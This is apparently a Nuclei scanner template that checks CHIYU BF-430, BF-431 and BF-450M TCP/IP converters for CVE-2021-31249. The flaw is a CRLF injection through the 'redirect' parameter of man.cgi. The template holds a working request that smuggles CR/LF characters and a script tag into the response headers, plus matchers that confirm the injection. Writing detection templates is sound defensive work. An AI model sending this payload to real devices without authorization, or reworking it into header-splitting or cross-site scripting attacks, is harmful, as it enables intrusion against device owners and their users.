id: CVE-2021-31249

info:
  name: CHIYU TCP/IP Converter devices - CRLF injection
  author: geeknik
  severity: medium
  description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter 'redirect' available on multiple CGI components.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31249
  tags: cve,cve2021,chiyu,crlf,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302
      - type: word
        part: header
        words:
          - "Location: setting.htm"
          - "<script>alert(document.domain)</script>"
        condition: and